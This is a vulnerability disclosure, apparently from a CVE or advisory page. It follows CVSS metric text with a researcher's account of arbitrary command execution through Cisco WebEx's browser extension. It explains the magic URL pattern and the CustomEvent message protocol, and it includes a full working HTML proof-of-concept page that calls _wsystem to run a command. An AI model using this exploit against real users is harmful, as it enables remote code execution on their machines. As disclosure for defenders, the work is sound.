The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Cisco WebEx 'nativeMessaging' Arbitrary Remote Command ExecutionCisco's WebEx extension (jlhmfgmfgeifomenelglieieghnjghma) has ~20M active users, and is part of Cisco's popular web conferencing software.
The extension works on any URL that contains the magic pattern "cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html", which can be extracted from the extensions manifest. Note that the pattern can occur in an iframe, so there is not necessarily any user-visible indication of what is happening, visiting any website would be enough.
The extension uses nativeMessaging, so this magic string is enough for any website to execute arbitrary code (!!).
The protocol the extension uses is complicated, using CustomEvent() objects to pass JSON messages between the webpage, the extension and the native code.
Stepping through an initialization, a website must first request that the extension open a port for communication, like this:
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }})); // token can be any string
Then messages can passed to native code via "message" events. Note that these cannot be MessageEvent() objects, and you cannot use the postMessage API, they have to be CustomEvent() objects.
There are a few different message types, such as "hello", "disconnect", etc. The most interesting is "launch_meeting":
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
I stepped through a meeting and dumped the initialization messages:
> message.message
"{"DocshowVersion": "1.0",
"FilterSecParameters": "clientparam;clientparam_value",
"GpcProductRoot": "WebEx",
"GpcMovingInSubdir": "Wanta",
"GpcProductVersion": "T30_MC",
"GpcUpgradeManagement": "false",
"GpcCompatibleDesktopClients": "",
"enableQuickLaunch": "1",
"GpcProductDescription": "V2ViRXg=",
"GpcUnpackName": "atgpcdec",
"JMTSignificantFileList": "atgpcext.dll;atmccli.dll;comui.dll;webexmgr.dll;plugin-config.xml;atmgr.exe;ieatgpc.dll;atkbctl.dll;atwbxui15.dll;atcarmcl.dll;attp.dll;atarm.dll;wbxcrypt.dll;mmssl32.dll;libeay32.dll;ssleay32.dll;atmemmgr.dll;wcldll.dll;uilibres.dll;pfwres.dll;wbxtrace.dll;mcres.dll;atresec.dll;atrestc.dll;mfs.dll;mutilpd.dll;wseclient.dll;mticket.dll;wsertp.dll",
"jmtclicklog": "1484862376664",
"GpcExtName": "atgpcext",
"GpcUnpackVersion": "27, 17, 2016, 501",
"GpcExtVersion": "3015, 0, 2016, 1117",
"GpcUrlRoot": "https://join-test.webex.com/client/WBXclient-T30L10NSP15EP1-10007/webex/self",
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcCompressMethod": "7z",
"GpcActiveIniSection": "V2ViRXhfVg==",
"GpcSupportPageUrl": "",
"GpcIniFileName": "Z3BjLnBocD9wbW9kdWxlcz0lN0NNQ19TVEQlN0NDaGF0JTdDUG9sbGluZyU3Q05vdGUlN0NWaWRlb1NoYXJlJTdDV2ViZXhfUkElN0NBUyU3Q1BEJk9TPVZUJnJlcGxhY2VLZXk9VklTVEElN0NTU0YmTE49JmJhc2ljbmFtZT1XZWJFeF9WJk9TX0JpdD0zMg==
...
There are a huge number of properties, many are obviously good candidates for code execution, but these jumped out at me:
"GpcComponentName": "YXRtY2NsaS5ETEw=",
"GpcInitCall": "c3pDb29raWU9SW5pdENvbnRyb2woJUhXTkQpO05hbWVWYWx1ZShMb2dnaW5nVVJMX05hbWUsTG9nZ2luZ1VSTCk7TmFtZVZhbHVlKE1lZXRpbmdJRF9OYW1lLE1lZXRpbmdJRCk7TmFtZVZhbHVlKFNlc3Npb25JRF9OYW1lLFNlc3Npb25JRCk7TmFtZVZhbHVlKEdwY0luaUZpbGVOYW1lX05hbWUsR3BjSW5pRmlsZU5hbWUpO05hbWVWYWx1ZShHcGNVcmxSb290X05hbWUsR3BjVXJsUm9vdCk7TmFtZVZhbHVlKEdwY0V4dFZlcnNpb25fTmFtZSxHcGNFeHRWZXJzaW9uKTtOYW1lVmFsdWUoR3BjVW5wYWNrVmVyc2lvbl9OYW1lLEdwY1VucGFja1ZlcnNpb24pO05hbWVWYWx1ZShHcGNQcm9kdWN0Um9vdF9OYW1lLEdwY1Byb2R1Y3RSb290KTtOYW1lVmFsdWUobG9jYWxyb290c2VjdGlvbnZlcl9OYW1lLGxvY2Fscm9vdHNlY3Rpb252ZXIpO05hbWVWYWx1ZShSZWdUeXBlX05hbWUsUmVnVHlwZSk7TmFtZVZhbHVlKEdwY1Byb2dyZXNzQmFyVGl0bGVfTmFtZSxHcGNQcm9ncmVzc0JhclRpdGxlKTtOYW1lVmFsdWUoR3BjTWVzc2FnZVRpdGxlX05hbWUsR3BjTWVzc2FnZVRpdGxlKTtOYW1lVmFsdWUoZG93bmxvYWRsb2NhbHNldHRpbmdfTmFtZSxkb3dubG9hZGxvY2Fsc2V0dGluZyk7TmFtZVZhbHVlKHByb2R1Y3RuYW1lX05hbWUscHJvZHVjdG5hbWUpO05hbWVWYWx1ZShTRlN1cHBvcnRpbmdfTmFtZSxTRlN1cHBvcnRpbmdfVmFsdWUpO05hbWVWYWx1ZShNZWV0aW5nUmFuZG9tX05hbWUsTWVldGluZ1JhbmRvbSk7TmFtZVZhbHVlKGNsaWVudHBhcmFtX05hbWUsY2xpZW50cGFyYW1fVmFsdWUpO0ZpbmlzaENhbGwoc3pDb29raWUpOw==",
If we decode those strings, we get:
GpcComponentName: "atmccli.DLL"
GpcInitCall: "szCookie=InitControl(%HWND);NameValue(LoggingURL_Name,LoggingURL);NameValue(MeetingID_Name,MeetingID);NameValue(SessionID_Name,SessionID);NameValue(GpcIniFileName_Name,GpcIniFileName);NameValue(GpcUrlRoot_Name,GpcUrlRoot);NameValue(GpcExtVersion_Name,GpcExtVersion);NameValue(GpcUnpackVersion_Name,GpcUnpackVersion);NameValue(GpcProductRoot_Name,GpcProductRoot);NameValue(localrootsectionver_Name,localrootsectionver);NameValue(RegType_Name,RegType);NameValue(GpcProgressBarTitle_Name,GpcProgressBarTitle);NameValue(GpcMessageTitle_Name,GpcMessageTitle);NameValue(downloadlocalsetting_Name,downloadlocalsetting);NameValue(productname_Name,productname);NameValue(SFSupporting_Name,SFSupporting_Value);NameValue(MeetingRandom_Name,MeetingRandom);NameValue(clientparam_Name,clientparam_Value);FinishCall(szCookie);"
That looks like some sort of weird scripting language. The presence of `HWND` suggests this is interacting with native code, and if I dump the exports of atmccli.DLL:
$ dumpbin /nologo /exports atmccli.dll
Dump of file atmccli.dll
ordinal hint RVA name
2 2 0001CC11 ExitControl
24 3 0001CC83 FinishCall
1 4 0001D2F9 InitControl <--
23 5 0001D556 NameValue
...
These exports look like the functions being called in that scripting language. Is it possible it's calling those exports?
I noticed that they ship a copy of the CRT (Microsoft's C Runtime, containing standard routines like printf, malloc, etc), so I tried calling the standard _wsystem() routime (like system(), but for WCHAR strings), like this:
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
Unbelievably, that worked.
Example exploit attached.
I uploaded a demo here for testing (this URL is secret)
https://lock.cmpxchg8b.com/ieXohz9t/
(You can make sure WebEx is installed and working first by going here. You don't need to register, just enter any name and email)
https://www.webex.com/test-meeting.html
```
<html>
<head>
<title>Cisco WebEx Exploit</title>
<script>
var msg = {
GpcProductRoot: "WebEx",
GpcMovingInSubdir: "Wanta",
GpcProductVersion: "T30_MC",
GpcUnpackName: "atgpcdec",
GpcExtName: "atgpcext",
GpcUnpackVersion: "27, 17, 2016, 501",
GpcExtVersion: "3015, 0, 2016, 1117",
GpcUrlRoot: "http://127.0.0.1/",
GpcComponentName: btoa("MSVCR100.DLL"),
GpcSuppressInstallation: btoa("True"),
GpcFullPage: "True",
GpcInitCall: btoa("_wsystem(ExploitShellCommand);"),
ExploitShellCommand: btoa("calc.exe"),
}
function runcode()
{
if (!document.location.pathname.endsWith("cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html")) {
alert("document /must/ be named cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html");
return;
}
if (!document.location.protocol.endsWith("https:")) {
alert("document /must/ be served over https");
return;
}
document.dispatchEvent(new CustomEvent("connect", { detail: { token: "token" }}));
document.dispatchEvent(new CustomEvent("message", { detail: {
message: JSON.stringify(msg),
message_type: "launch_meeting",
timestamp: (new Date()).toUTCString(),
token: "token"
}
}));
}
</script>
</head>
<body onload="runcode()">
<h1>Running exploit...</h1>
</body>
</html>
```
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